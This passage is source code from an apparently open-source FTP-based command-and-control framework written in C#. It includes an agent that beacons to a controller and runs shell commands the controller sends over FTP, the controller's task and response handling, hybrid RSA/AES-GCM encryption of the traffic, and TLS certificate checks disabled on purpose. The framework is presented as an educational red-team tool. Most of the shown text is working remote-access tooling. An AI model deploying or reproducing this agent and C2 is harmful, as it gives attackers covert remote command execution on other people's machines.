VXgIeIcgLCv+kogB3GcPEz6I7Bp+wKCAQEA+lST3DZHlSDWuM/r6sbySN8z+oGdlBglMhPiZAlTskWHiyUYTCmrY4EgqBEbPE1VezHXjt+FTjolJ9rlFMeGjtvtPpu/dPulWHu+iKZwjoQlhtzF4FkVGoN7dlSDsTuN3jK4zQisfbDzSl9AqnWpApBqbQ/xtefVcdpANEHoB90tLjuaC9U+6+JvwWI/0A0muLom47LrwnrXPfEErMVSQF0Gt3uz3rPcCqeC9rnXSkOyp2mcNvDlrhVrPVsQ2nWME9oUzO79fWOUa/ZkspS2aAXIRqPZI7QMvSOkQuzEFKwEWxOM6vMPj26S7kczDXlmEiae7mi8fK3bAt3Wn50d5wKCAQAl+to1+kW2jbJghR8Lg9pKq6f7GBON29iYEdBbMjXw2HD7dcZVqPkzT+cXNtT/GwQHlLgJ0s2N0bft3i4CoU/XnzQTweQF6A+1tfXpHXT/hQRp9swYzyxzMApXKvooSHCCerLRhVYPIbKJDY5Ow9hyqKtgaNkUJS3/tripsKLtGzTkpxDofDyZbF60gTVDYanZKwXR9zkJ7+LPDUbh+wKqt6jk0eoNczt00X60mBQ/YC0ff6hDDz7pNo40gGHwan1C/cszCQ/yC2lueRRTXS9xz+TigP+9PASU6InwvZkjNITeoLks5pK83JeyMnj9HKo8IJU0JKNySJK+c6gWIlotAoIBAAw3IFf4lhmi1peCHeMA/kWsDp9Ev+nAG+CLs9pp0hm65thVYRAmYGSkonFRFGEm7OrsDba9FYYxtCpztgYDjn9eH/+UHg2ZUgI1V6DXblql/CbOkyFVd4AptlaZ3StC2rNjCj2HFNO1VMnmSAOJZkvnvCnCQ2s6+uFpYwSpyqbHljLRWb0GFOHx1L49Cxwd6CvPeaJW0sZUtDgjkLTVlCPr5i4B7U8Ku8wRTIS5oNXQ4+DjeGn961dJWEhQL0xZvBIj7Cvr5Za+yzlRdqx4MUZ2McWwrSHe4VhBavyRDShtFHFVTOUSI0o+fRD/jHA14lM0a0D6/2eeHDfRl22GfzUCggEAPTG1r4F/DSp82ZbcDLjSBSgFQtHi4T982fNQq2x2uDpBMYURrDSmyjuUA6XVjNiGkzlozTX0QX5NiNzp/Csy6JsQs3XDLyF+bGp6fMCIXPbF0Kitn522rMfp+PXQ6zOFbRLIuQKujxr9B+PRQvPJk6M3st1hkM99xSq+cpkmdnACd8U7XtP98NTGeFZDpdlXeRIDhyJqC9dq0jUUnqdNyNpbL+LDfPhO9J8GqUTRXczMyqhWRiKl1G6EJtCqGm5o2H3xysTHxKw3jl4G4fBiWVxxA/182S+95sijAQHY0txGyNkaIFeiH+7mcv5DI5UsLbL4QEyF4+r0whR5ke+P1Q=="; 44 | 45 | // Make sure this includes the RSA Public Key belonging to the C2, which is utilized for encrypting 46 | // data that is sent to the C2's destination. 47 | public static readonly string EncodedPeerPublicKey = "MIICCgKCAgEAwCgvEs3M3Xq9VsIokZcJCiZJBIvnpDsBh+TMHOFKKmkIAS43HtyxOJgCV4tJYyNLtnZXxym2FN4Y0AHuWcuub/4OfwhbmSll1LrcOymNJT8a8uSh2FkxPdYr3/TG18uPEvJ9KJhrPp2qyakCN3/URltcO/tFw7ETmauRKslUCNP1fgq71wE08B2dJfwjWa04x9pem90e5bXVg4JmJtdAoFNI++FFueg+/ohUtg13ZiY+U6Lz2tYcVoHATcMoGfERJeXJaOzOTsDCWxqrjAhQeN+NlFtT4euvH5e3Xb/7EivS4T3fdA0dMAy0iZ4Cf9je8C2GMst0pYwHQcW12LASwrmm90BBz/gFMLsBv/nrptQ1NbkFfdlDPf+kA0Ei3Q6CZoybIr9BOBbEEi59IH+0i3ILJF0YRLcOhaTmC6UKBvItq9YG/68VnFyuqb4cKf7mLN3fhF5RopLWjNGxdkwd5JqGl0dmDEnSjOcWRF46MSd2uVYtICtqVA2WN7IEpnOpbhnmYnwE1Dp/lTy4VW9oBGpnMxbfB2RISdOwFf+h59kDmUlYX1RgButpEmkklOQLOZHYEiLg1Pd5j+OyuTU84zZObcQC1VA8SGq6PStoh5S4dbgPRmEjHG8MBPPHBrr51ozid5T2k8UHOFeBn1QBXuODr0lGVgpyHy6MFtj7Dg0CAwEAAQ=="; 48 | // EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 49 | 50 | public static readonly object _MainThreadLock = new(); 51 | 52 | public static CancellationTokenSource CancellationTokenSource = new(); 53 | 54 | public static void OnProcessExit(object? sender, EventArgs e) 55 | { 56 | /// 57 | } 58 | 59 | public static bool OnDangerousActionConfirmation(string nature) 60 | { 61 | lock (_MainThreadLock) 62 | { 63 | Console.ForegroundColor = ConsoleColor.Yellow; 64 | Console.WriteLine(); 65 | Console.WriteLine($"[!] Before proceeding (Task: `{nature}`), please be aware that the action you are about to perform has the potential to be dangerous and may have unintended consequences. This tool is intended for educational purposes and should be used responsibly. Are you sure you want to proceed? Understanding the implications, please type `YES` or `Y` to confirm or anything else to abort the action."); 66 | Console.ResetColor(); 67 | 68 | Console.Write("Answer: "); 69 | 70 | string? answer = Console.ReadLine(); 71 | if (answer == null) 72 | return false; 73 | 74 | string upperAnswer = answer.ToUpper(); 75 | 76 | return upperAnswer == "YES" || upperAnswer == "Y"; 77 | } 78 | } 79 | 80 | public static void Main(string[] args) 81 | { 82 | // Important Notice: The delegate below renders the current application susceptible to 83 | // Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features. 84 | // This configuration was implemented to accommodate self-signed certificates. 85 | // However, it is strongly advised not to employ this approach in a production environment 86 | // if SSL/TLS security is expected. 87 | if (FtpSecure) 88 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 89 | /// 90 | 91 | AppDomain.CurrentDomain.ProcessExit += OnProcessExit; 92 | 93 | UX.DisplayInfo($"Agent Id: `{AgentSession}`"); 94 | /// 95 | 96 | List daemons = new(); 97 | 98 | // It is crucial for this thread to maintain high availability in order to continuously 99 | // signal to the Command and Control (C2) that our agent is operational. 100 | // To achieve this, only the "RegisterOrUpdateAgent" method is invoked at regular intervals, 101 | // minimizing resource consumption and ensuring consistent communication with the C2. 102 | daemons.Add(new Thread((object? obj) => 103 | { 104 | if (obj == null) 105 | return; 106 | 107 | AgentProtocol agentProto = new(FtpHost, FtpUser, FtpPwd, FtpSecure, AgentSession); 108 | 109 | agentProto.SetupSelfEncryptionHelper(EncodedPublicKey, EncodedPrivateKey); 110 | agentProto.SetupPeerEncryptionHelper(EncodedPeerPublicKey); 111 | 112 | agentProto.DangerousActionConfirmation += OnDangerousActionConfirmation; 113 | 114 | CancellationToken cancellationToken = (CancellationToken)obj; 115 | while (!cancellationToken.IsCancellationRequested) 116 | { 117 | try 118 | { 119 | // Signal C2, we are still active. 120 | agentProto.RegisterOrUpdateAgent(); 121 | 122 | /// 123 | Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax)); 124 | } 125 | catch (Exception ex) 126 | { 127 | UX.DisplayError($"@DaemonBeaconThread: {ex.Message}"); 128 | }; 129 | } 130 | })); 131 | 132 | // This thread is specifically allocated for the enumeration of agent tasks 133 | // (which are registered by the controller) as well as the processing and response 134 | // of these tasks. This ensures a focused and efficient handling of agent-related 135 | // tasks. 136 | daemons.Add(new Thread((object? obj) => 137 | { 138 | if (obj == null) 139 | return; 140 | 141 | AgentProtocol agentProto = new(FtpHost, FtpUser, FtpPwd, FtpSecure, AgentSession); 142 | 143 | agentProto.SetupSelfEncryptionHelper(EncodedPublicKey, EncodedPrivateKey); 144 | agentProto.SetupPeerEncryptionHelper(EncodedPeerPublicKey); 145 | 146 | agentProto.DangerousActionConfirmation += OnDangerousActionConfirmation; 147 | 148 | CancellationToken cancellationToken = (CancellationToken)obj; 149 | while (!cancellationToken.IsCancellationRequested) 150 | { 151 | try 152 | { 153 | // Gather C2 Tasks. 154 | List tasks = agentProto.EnumerateTasks(); 155 | 156 | // Process Tasks: 157 | foreach (TaskWrapper task in tasks) 158 | { 159 | ResponseWrapper? response = null; 160 | /// 161 | 162 | UX.DisplayInfo($"Process new task(`{task.Id}`) of type `{task.GetType().Name}`..."); 163 | 164 | switch (task) 165 | { 166 | case TaskShellCommand taskShellCommand: 167 | { 168 | response = new ResponseShellCommand(); 169 | ((ResponseShellCommand)response).RunShellCommand(taskShellCommand.Command ?? ""); 170 | 171 | break; 172 | } 173 | 174 | case TaskCommand taskCommand: 175 | { 176 | switch(taskCommand.Command) 177 | { 178 | case TaskCommand.CommandKind.TerminateAgent: 179 | { 180 | CancellationTokenSource.Cancel(); 181 | 182 | response = new ResponseNotification(); 183 | 184 | ((ResponseNotification)response).Kind = ResponseNotification.NotificationKind.AgentTerminated; 185 | 186 | break; 187 | } 188 | } 189 | 190 | break; 191 | } 192 | 193 | // Handle other tasks and response bellow: 194 | // ... 195 | 196 | default: 197 | { 198 | UX.DisplayWarning($"Task(`{task.Id}`) of type `{task.GetType().Name}` is unknown."); 199 | 200 | break; 201 | } 202 | } 203 | 204 | if (response != null) 205 | agentProto.RegisterNewResponse(response, task.Id); 206 | } 207 | 208 | /// 209 | Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax)); 210 | } 211 | catch (Exception ex) 212 | { 213 | UX.DisplayError($"@DaemonTasksThread: {ex.Message}"); 214 | }; 215 | } 216 | })); 217 | 218 | // The action to handle a CTRL+C signal on the console has been registered. 219 | // When triggered, it will instruct any associated cancellation tokens to properly 220 | // shut down their associated daemons. 221 | Console.CancelKeyPress += (sender, cancelEventArgs) => 222 | { 223 | CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed. 224 | 225 | cancelEventArgs.Cancel = true; // Cancel default behaviour 226 | }; 227 | 228 | // Start daemons 229 | foreach (Thread daemon in daemons) 230 | daemon.Start(CancellationTokenSource.Token); 231 | 232 | // Keep process running until CTRL+C. 233 | CancellationToken token = CancellationTokenSource.Token; 234 | while (!token.IsCancellationRequested) 235 | Thread.Sleep(1000); 236 | 237 | // Wait for daemons to join main thread 238 | foreach (Thread daemon in daemons) 239 | daemon.Join(); 240 | } 241 | } -------------------------------------------------------------------------------- /FtpAgent/FtpAgent/UX.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpAgent 19 | { 20 | internal class UX 21 | { 22 | public static void ColorBackTicks(string message) 23 | { 24 | 25 | int lastIndex = 0; 26 | 27 | for (int i = 0; i < message.Length; i++) 28 | { 29 | if (i + 1 < message.Length && message[i] == '`' && message[i + 1] != '`') 30 | { 31 | Console.Write(message.Substring(lastIndex, i - lastIndex)); 32 | Console.ForegroundColor = ConsoleColor.Yellow; 33 | Console.Write("`"); 34 | i++; 35 | 36 | int j = message.IndexOf("`", i); 37 | Console.Write(message.Substring(i, j - i)); 38 | Console.Write("`"); 39 | Console.ResetColor(); 40 | 41 | i = j; 42 | lastIndex = i + 1; 43 | } 44 | } 45 | 46 | Console.WriteLine(message.Substring(lastIndex)); 47 | } 48 | 49 | public static void DisplayNotification(string message, char icon, ConsoleColor color) 50 | { 51 | Console.Write('['); 52 | Console.ForegroundColor = color; 53 | Console.Write(icon); 54 | Console.ResetColor(); 55 | Console.Write($"] "); 56 | 57 | ColorBackTicks(message); 58 | } 59 | 60 | public static void DisplayInfo(string message) 61 | { 62 | DisplayNotification(message, '*', ConsoleColor.DarkCyan); 63 | } 64 | 65 | public static void DisplayWarning(string message) 66 | { 67 | DisplayNotification(message, '!', ConsoleColor.Yellow); 68 | } 69 | 70 | public static void DisplayError(string message) 71 | { 72 | DisplayNotification(message, 'x', ConsoleColor.Red); 73 | } 74 | 75 | public static void DisplaySuccess(string message) 76 | { 77 | DisplayNotification(message, '+', ConsoleColor.Green); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /FtpC2/FtpC2.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33723.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "FtpC2", "FtpC2\FtpC2.csproj", "{44D0366D-742F-4E0B-A67D-3B1044A66EA7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {44D0366D-742F-4E0B-A67D-3B1044A66EA7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {44D0366D-742F-4E0B-A67D-3B1044A66EA7}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {44D0366D-742F-4E0B-A67D-3B1044A66EA7}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {44D0366D-742F-4E0B-A67D-3B1044A66EA7}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {6F18B9C0-54F8-4A5D-AEC3-A3CC950FD477} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/AsymEncryptionHelper.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System.ComponentModel; 13 | using System.Security.Cryptography; 14 | using System.Security.Cryptography.X509Certificates; 15 | using System.Text; 16 | using System.Text.Json; 17 | 18 | /// 19 | /// This Class allows easily to perform secure encryption using both RSA (Asymetric) and AES-GCM 256 (Symetric). 20 | /// 21 | public class AsymEncryptionHelper : IDisposable 22 | { 23 | private bool _disposed = false; 24 | private readonly RSA _RSA; 25 | 26 | public enum KeyKind 27 | { 28 | publicKey, 29 | privateKey, 30 | } 31 | 32 | // For debug purpose 33 | public delegate void AESCallbackDelegate( 34 | byte[] plainAesKey, 35 | byte[] cipherAesKey, 36 | byte[] Nonce, 37 | byte[] Tag 38 | ); 39 | 40 | public event AESCallbackDelegate? AESCallback; 41 | // 42 | 43 | protected class EncryptedBundle 44 | { 45 | public byte[]? Data { get; set; } 46 | public byte[]? Key { get; set; } 47 | public byte[]? Nonce { get; set; } 48 | public byte[]? Tag { get; set; } 49 | } 50 | 51 | public static (byte[] publicKey, byte[] privateKey) GenerateRSAKeyPair(int keyLength = 4096) 52 | { 53 | using RSACryptoServiceProvider rsa = new(keyLength); 54 | 55 | byte[] privateKey = rsa.ExportRSAPrivateKey(); 56 | byte[] publicKey = rsa.ExportRSAPublicKey(); 57 | 58 | return (publicKey, privateKey); 59 | } 60 | 61 | public AsymEncryptionHelper(byte[]? publicKey, byte[]? privateKey) 62 | { 63 | _RSA = RSA.Create(); 64 | 65 | if (publicKey == null && privateKey == null) 66 | throw new CryptographicException("You must specify at least a public key or a private key."); 67 | 68 | if (publicKey != null) 69 | _RSA.ImportRSAPublicKey(publicKey, out _); 70 | 71 | if (privateKey != null) 72 | _RSA.ImportRSAPrivateKey(privateKey, out _); 73 | } 74 | 75 | public AsymEncryptionHelper(string? encodedPublicKey, string? encodedPrivateKey) : this( 76 | !string.IsNullOrEmpty(encodedPublicKey) ? Convert.FromBase64String(encodedPublicKey) : null, 77 | !string.IsNullOrEmpty(encodedPrivateKey) ? Convert.FromBase64String(encodedPrivateKey) : null 78 | ) 79 | { } 80 | 81 | public bool HasPublicKey() 82 | { 83 | RSAParameters parameters = _RSA.ExportParameters(false); 84 | 85 | return parameters.Modulus != null && parameters.Exponent != null; 86 | } 87 | 88 | public bool HasPrivateKey() 89 | { 90 | RSAParameters parameters = _RSA.ExportParameters(true); 91 | 92 | return parameters.D != null; 93 | } 94 | 95 | public Guid? GetFingerprint(KeyKind keyKind) 96 | { 97 | byte[]? key = null; 98 | 99 | switch(keyKind) 100 | { 101 | case KeyKind.publicKey: 102 | { 103 | if (HasPublicKey()) 104 | key = _RSA.ExportRSAPublicKey(); 105 | 106 | break; 107 | } 108 | 109 | case KeyKind.privateKey: 110 | { 111 | if (HasPrivateKey()) 112 | key = _RSA.ExportRSAPrivateKey(); 113 | 114 | break; 115 | } 116 | } 117 | 118 | if (key == null) 119 | return null; 120 | else 121 | { 122 | using MD5 md5 = MD5.Create(); 123 | 124 | byte[] hash = md5.ComputeHash(key); 125 | 126 | return new Guid(hash); 127 | } 128 | } 129 | 130 | public Guid? GetPublicKeyFingerprint() 131 | { 132 | return GetFingerprint(KeyKind.publicKey); 133 | } 134 | 135 | public Guid? GetPrivateKeyFingerprint() 136 | { 137 | return GetFingerprint(KeyKind.privateKey); 138 | } 139 | 140 | private byte[] RSAEncrypt(byte[] plainTextData) 141 | { 142 | return _RSA.Encrypt(plainTextData, RSAEncryptionPadding.OaepSHA256); 143 | } 144 | 145 | private byte[] RSADecrypt(byte[] encryptedData) 146 | { 147 | return _RSA.Decrypt(encryptedData, RSAEncryptionPadding.OaepSHA256); 148 | } 149 | 150 | public (byte[] cipherText, byte[] cipherAesKey, byte[] Nonce, byte[] Tag) Encrypt(byte[] plainText) 151 | { 152 | /*using Aes aes = Aes.Create(); 153 | 154 | aes.KeySize = 256; 155 | aes.Mode = CipherMode.CBC; 156 | 157 | byte[] aesKey = aes.Key; 158 | byte[] cipherAesKey = this.RSAEncrypt(aesKey); 159 | 160 | AESCallback?.Invoke(aes.KeySize, aes.Mode, aesKey, cipherAesKey, aes.IV); 161 | 162 | ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); 163 | 164 | using (MemoryStream cipherStream = new()) 165 | { 166 | using (CryptoStream cryptoStream = new(cipherStream, encryptor, CryptoStreamMode.Write)) 167 | { 168 | using BinaryWriter binaryWriter = new(cryptoStream); 169 | 170 | binaryWriter.Write(plainTextData); 171 | } 172 | 173 | /// 174 | return (cipherStream.ToArray(), cipherAesKey, aes.IV); 175 | }*/ 176 | 177 | if (!HasPublicKey()) 178 | throw new CryptographicException("No RSA Public Key Provided."); 179 | 180 | byte[] aesKey = new byte[32]; // * 8 = 256 bits 181 | 182 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-7.0?WT_mc_id=SEC-MVP-5005282 183 | // Generate a random AES key using a cryptographic number generator. 184 | using RandomNumberGenerator randomGenerator = RandomNumberGenerator.Create(); 185 | 186 | // Generate a one-time secure random AES Key. 187 | randomGenerator.GetBytes(aesKey); 188 | 189 | // Encrypt the AES Key with RSA Public Key. 190 | byte[] cipherAesKey = this.RSAEncrypt(aesKey); 191 | 192 | // Generate a one-time secure random nonce (usually 12 byte / 96 bits) 193 | // Typically, generating a random nonce is discouraged due to the risk of nonce collision (which is generally very unlikely) 194 | // when using the same AES key, as this can compromise security. However, in this scenario, because we are using a one-time 195 | // random AES key and the probability of a key/nonce collision is negligibly low, this approach doesn't present any significant 196 | // cryptographic risks. 197 | byte[] nonce = new byte[AesGcm.NonceByteSizes.MaxSize]; 198 | randomGenerator.GetBytes(nonce); 199 | 200 | byte[] tag = new byte[AesGcm.TagByteSizes.MaxSize]; 201 | byte[] cipherText = new byte[plainText.Length]; 202 | 203 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-7.0?WT_mc_id=SEC-MVP-5005282 204 | using AesGcm aes = new(aesKey); 205 | 206 | // Encrypt plain-text using our setup, an authentication tag will get returned. 207 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm.encrypt?view=net-7.0 208 | aes.Encrypt(nonce, plainText, cipherText, tag); 209 | 210 | AESCallback?.Invoke(aesKey, cipherAesKey, nonce, tag); 211 | 212 | return (cipherText, cipherAesKey, nonce, tag); 213 | } 214 | 215 | public byte[] Decrypt(byte[] cipherText, byte[] cipherAesKey, byte[] nonce, byte[] authenticatinTag) 216 | { 217 | /* 218 | using Aes aes = Aes.Create(); 219 | 220 | aes.KeySize = 256; 221 | aes.Mode = CipherMode.CBC; 222 | 223 | byte[] aesKey = this.RSADecrypt(cipherAesKey); 224 | 225 | aes.Key = aesKey; 226 | aes.IV = IV; 227 | 228 | AESCallback?.Invoke(aes.KeySize, aes.Mode, aes.Key, cipherAesKey, aes.IV); 229 | 230 | ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV); 231 | 232 | using MemoryStream cipherStream = new(cipherText); 233 | using CryptoStream plainStream = new(cipherStream, decryptor, CryptoStreamMode.Read); 234 | using MemoryStream stream = new(); 235 | 236 | plainStream.CopyTo(stream); 237 | 238 | return stream.ToArray(); 239 | */ 240 | 241 | if (!HasPrivateKey()) 242 | throw new CryptographicException("No RSA Private Key Provided."); 243 | 244 | // Recover the one-time AES Encryption key using our RSA Private key. 245 | byte[] aesKey = this.RSADecrypt(cipherAesKey); 246 | 247 | byte[] plainText = new byte[cipherText.Length]; 248 | 249 | AESCallback?.Invoke(aesKey, cipherAesKey, nonce, authenticatinTag); 250 | 251 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-7.0?WT_mc_id=SEC-MVP-5005282 252 | using AesGcm aes = new(aesKey); 253 | 254 | // https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm.decrypt?view=net-7.0?WT_mc_id=SEC-MVP-5005282 255 | aes.Decrypt(nonce, cipherText, authenticatinTag, plainText); 256 | 257 | return plainText; 258 | } 259 | 260 | public string EncryptToJson(byte[] plainTextData) 261 | { 262 | var (cipherText, cipherAesKey, Nonce, Tag) = Encrypt(plainTextData); 263 | 264 | EncryptedBundle encryptedBundle = new() 265 | { 266 | Data = cipherText, 267 | Key = cipherAesKey, 268 | Nonce = Nonce, 269 | Tag = Tag, 270 | }; 271 | 272 | return JsonSerializer.Serialize(encryptedBundle); 273 | } 274 | 275 | public string EncryptToJson(string plainTextData) 276 | { 277 | return this.EncryptToJson(Encoding.UTF8.GetBytes(plainTextData)); 278 | } 279 | 280 | public byte[] DecryptFromJson(string jsonText) 281 | { 282 | EncryptedBundle? encryptedBundle = JsonSerializer.Deserialize(jsonText); 283 | 284 | if (encryptedBundle == null || 285 | encryptedBundle.Data == null || 286 | encryptedBundle.Key == null || 287 | encryptedBundle.Nonce == null || 288 | encryptedBundle.Tag == null 289 | ) 290 | return Array.Empty(); 291 | 292 | return this.Decrypt( 293 | encryptedBundle.Data, 294 | encryptedBundle.Key, 295 | encryptedBundle.Nonce, 296 | encryptedBundle.Tag 297 | ); 298 | } 299 | 300 | public void Dispose() 301 | { 302 | Dispose(true); 303 | GC.SuppressFinalize(this); 304 | } 305 | 306 | protected virtual void Dispose(bool disposing) 307 | { 308 | if (_disposed) 309 | return; 310 | 311 | if (disposing) 312 | _RSA?.Dispose(); 313 | 314 | _disposed = true; 315 | } 316 | } 317 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/C2Protocol.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using FtpAgent; 13 | using FtpC2.Responses; 14 | using FtpC2.Tasks; 15 | using System.Collections.Concurrent; 16 | using System.Text.Json; 17 | 18 | namespace FtpC2 19 | { 20 | internal class C2Protocol : ProtocolBase 21 | { 22 | public C2Protocol(string host, string username, string password, bool secure) 23 | : base(host, username, password, secure) 24 | { } 25 | 26 | public void RegisterNewTask(TaskWrapper task) 27 | { 28 | string jsonData = JsonSerializer.Serialize(task, task.GetType()); 29 | 30 | string remoteFileName = PackRemoteFileName( 31 | Shared.PlaceHolders.TaskRequest, 32 | task.AgentId, 33 | task.Id, // For file randomness 34 | PeerEncryptionHelper 35 | ); 36 | 37 | UploadString(jsonData, remoteFileName); 38 | } 39 | 40 | public void RefreshAgents(ConcurrentDictionary agents) 41 | { 42 | List files = ListDirectory(); 43 | 44 | foreach (string file in files) 45 | { 46 | var packedFileName = UnpackRemoteFileName(file); 47 | if (packedFileName == null) 48 | continue; // Ignore 49 | 50 | if (packedFileName.Name != Shared.PlaceHolders.AgentInformation) 51 | continue; // Ignore 52 | try 53 | { 54 | if (!packedFileName.Session.HasValue) 55 | throw new FormatException($"Session GUID expected but not found for file \"{file}\"."); 56 | 57 | if (!CanProcessFile(packedFileName, SelfEncryptionHelper)) 58 | continue; // Ignore 59 | 60 | string jsonData = DownloadString(file); 61 | 62 | Agent? agent = JsonSerializer.Deserialize(jsonData); 63 | 64 | if (agent != null && agent.Id == packedFileName.Session) 65 | agents.AddOrUpdate(agent.Id, agent, (key, oldValue) => agent); 66 | else 67 | throw new FormatException("File is corrupted or invalid."); 68 | } 69 | catch 70 | { 71 | // In the event of a malformed agent, it is crucial to remove it 72 | // from the remote server. This preemptive action is necessary to prevent 73 | // a constant loop with each iteration, which would lead to unwarranted 74 | // resource consumption. 75 | try 76 | { 77 | DeleteFile(file); 78 | } 79 | catch { } 80 | } 81 | } 82 | } 83 | 84 | public void EnumerateResponses(ConcurrentDictionary responses) 85 | { 86 | List files = ListDirectory(); 87 | 88 | foreach (string file in files) 89 | { 90 | var packedFileName = UnpackRemoteFileName(file); 91 | if (packedFileName == null) 92 | continue; // Ignore 93 | 94 | if (packedFileName.Name != Shared.PlaceHolders.ResponseRequest) 95 | continue; // Ignore 96 | try 97 | { 98 | if (!packedFileName.Session.HasValue) 99 | throw new FormatException($"Session GUID expected but not found for file \"{file}\"."); 100 | 101 | if (!CanProcessFile(packedFileName, SelfEncryptionHelper)) 102 | continue; // Ignore 103 | 104 | string jsonData = DownloadString(file); 105 | 106 | ResponseWrapper? wrappedResponse = JsonSerializer.Deserialize(jsonData); 107 | ResponseWrapper? response = null; 108 | 109 | if ( 110 | wrappedResponse == null || 111 | wrappedResponse.TaskId != packedFileName.Uid || 112 | wrappedResponse.AgentId != packedFileName.Session 113 | ) 114 | throw new FormatException("File is corrupted or invalid."); 115 | 116 | switch (wrappedResponse.ResponseType) 117 | { 118 | case "ResponseShellCommand": 119 | { 120 | response = JsonSerializer.Deserialize(jsonData); 121 | 122 | break; 123 | } 124 | 125 | case "ResponseNotification": 126 | { 127 | response = JsonSerializer.Deserialize(jsonData); 128 | 129 | break; 130 | } 131 | 132 | // Add your additional response classes here 133 | // ... 134 | } 135 | 136 | if (response != null) 137 | { 138 | if (!responses.ContainsKey(packedFileName.Uid.Value)) 139 | responses.TryAdd(packedFileName.Uid.Value, response); 140 | } 141 | } 142 | catch 143 | { 144 | // In the event of a malformed task response, it is crucial to remove it 145 | // from the remote server. This preemptive action is necessary to prevent 146 | // a constant loop with each iteration, which would lead to unwarranted 147 | // resource consumption. 148 | try 149 | { 150 | DeleteFile(file); 151 | } 152 | catch { } 153 | } 154 | } 155 | } 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Exceptions.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2 19 | { 20 | internal class ExitProgramExceptions : Exception { }; 21 | 22 | internal class HttpError405 : Exception 23 | { 24 | public HttpError405() : base("405 Method Not Allowed") { } 25 | }; 26 | 27 | internal class HttpError404 : Exception 28 | { 29 | public HttpError404() : base("404 Not Found") { } 30 | }; 31 | } 32 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/FtpC2.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/FtpHelper.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Net; 14 | using System.Text; 15 | 16 | /// 17 | /// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol. 18 | /// This is accomplished through abstraction and simplification of the built-in WebRequest class, 19 | /// providing users with a more intuitive and manageable interface for FTP operations. 20 | /// 21 | /// Supported operations: 22 | /// * Stream Upload (Generic) 23 | /// * File Upload 24 | /// * String Upload 25 | /// * Create Directory 26 | 